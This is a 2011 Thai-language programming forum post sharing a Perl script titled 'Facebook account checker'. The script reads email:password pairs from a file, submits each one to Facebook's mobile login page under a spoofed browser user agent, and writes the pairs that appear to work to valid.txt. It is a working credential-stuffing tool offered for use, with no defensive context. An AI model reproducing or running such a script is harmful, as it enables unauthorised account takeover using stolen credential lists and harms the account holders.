www.rockdevper.com

General Category => Developer/Programming => Perl => ข้อความที่เริ่มโดย: Admin ที่ พฤษภาคม 21, 2011, 05:36:37 PM

หัวข้อ: [Perl]Facebook account checker
เริ่มหัวข้อโดย: Admin ที่ พฤษภาคม 21, 2011, 05:36:37 PM
โค๊ด: [Select]
#!/usr/bin/perl -w
#fro soulx0rg! :D

use strict;
use LWP::UserAgent;
sub loadf($);
my $ua = new LWP::UserAgent(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.5) Gecko/20060719 Firefox/1.5.0.5');
my @accs = loadf("accs.txt");
my ($em, $pw);
foreach my $lines (@accs) {
   $lines =~ s/^\s$//;
   $lines =~ s/\s+$//;
   if ($lines =~ m/(.*?):(.*?)$/g) {
      $em = $1;
      $pw = $2;
   } else {
      print "[x] Skipping line: " . $lines . "\n";
      next;
   }
   my $res = $ua->post('https://m.facebook.com/login.php',
   {
      'email'   =>   $em,
      'pass'   =>   $pw,
      'login'   =>   'Log+In'
   });
   if ($res->content =~ m/Incorrect email/) {
      print "[x] Account invalid: " . $em . "\n";
      next;
   } else {
      print "[+] FOUND: " . $lines . "\n";
      open(SV, '>>', 'valid.txt');
      print SV $lines . "\n";
      close(SV);
   }
}

sub loadf($) {
   my @file;
   open(FILE, $_[0] . "\n") or die("[+] Couldn't open " . $_[0] . "\n");
   @file = <FILE>;
   close(FILE);
   return @file;
}

Ref: http://forum.k0d.cc/showthread.php?t=6805